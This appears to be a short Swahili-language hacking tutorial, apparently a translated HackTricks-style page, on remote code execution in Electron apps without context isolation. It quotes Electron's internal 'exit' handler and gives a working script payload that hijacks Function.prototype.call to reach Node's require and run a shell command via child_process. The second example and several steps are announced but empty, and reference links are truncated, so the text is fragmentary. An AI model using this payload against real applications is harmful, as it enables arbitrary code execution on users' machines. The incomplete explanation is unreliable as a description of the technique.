2.0 KiB
Electron contextIsolation RCE kupitia msimbo wa ndani wa Electron
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Mfano 1
Mfano kutoka https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41
"exit" msikilizaji wa tukio daima huwekwa na msimbo wa ndani wakati upakiaji wa ukurasa umeanza. Tukio hili linatolewa kabla ya urambazaji:
process.on("exit", function () {
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
{{#ref}}
664c184fcb/lib/common/asar.js (L30-L36)
{{#endref}}
8a44289089/bin/events.js (L156-L231) -- Haipo tena
Kisha inaenda hapa:
Ambapo "self" ni kitu cha mchakato wa Node:
Kitu cha mchakato kina rejeleo kwa kazi ya "require":
process.mainModule.require
Kama handler.call itapokea kituo cha mchakato tunaweza kukibadilisha ili kutekeleza msimbo wowote:
<script>
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("calc")
}
location.reload() //Trigger the "exit" event
</script>
Mfano 2
Pata kipengele cha require kutoka kwa uchafuzi wa prototype. Kutoka https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
Kuvuja:
Kuvunja:
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